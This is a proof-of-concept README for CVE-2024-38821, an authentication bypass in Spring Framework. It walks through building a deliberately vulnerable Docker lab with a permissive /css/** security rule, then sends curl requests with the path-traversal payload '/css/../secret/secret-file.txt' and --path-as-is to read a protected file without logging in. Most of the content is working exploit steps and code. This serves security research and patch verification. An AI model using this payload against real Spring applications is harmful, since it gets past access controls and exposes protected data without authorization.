CVE-2024-38821: Proof of Concept (PoC): Authentication Bypass in Spring Framework

This is a proof of concept for the CVE-2024-38821 vulnerability

Execution Steps

1. Build the Docker image (Spring Boot 3.3.4, based on Spring Framework 6.1.13)

   cd vuln
   docker build -t cve-2024-38821-poc .
   

2. Run the container and expose port 8080 to the host machine

   docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
   

3. Run the following command to execute the PoC and confirm the vulnerability

   curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
   curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
   

   If the attack is successful, the response will display: This is a secret file.

Explanation

1. Create SecurityConfig.java to configure access permissions:

   • Allow unauthenticated access to paths under /css/.
   • Require authentication for paths under /secret/.

   public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
       return http
           .authorizeExchange(exchange -> exchange
               .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
               .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
               .anyExchange().authenticated() // Authentication is required for all other paths
           )
           .formLogin().and() // Enable form-based authentication
           .build();
   }
   

2. Create the following payload. Since the payload starts with /css/, it matches the allowed path pattern. It does not start with /secret/, so it does not match the authentication-required path pattern:

   • Path: /css/../secret/secret-file.txt

3. Use the following curl command to execute the PoC and verify if the attack is successful:

   # Note: The --path-as-is option is required to send the request without URL normalization.
   curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
   

   If the attack is successful, the response will display: This is a secret file.

Disclaimer

This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code.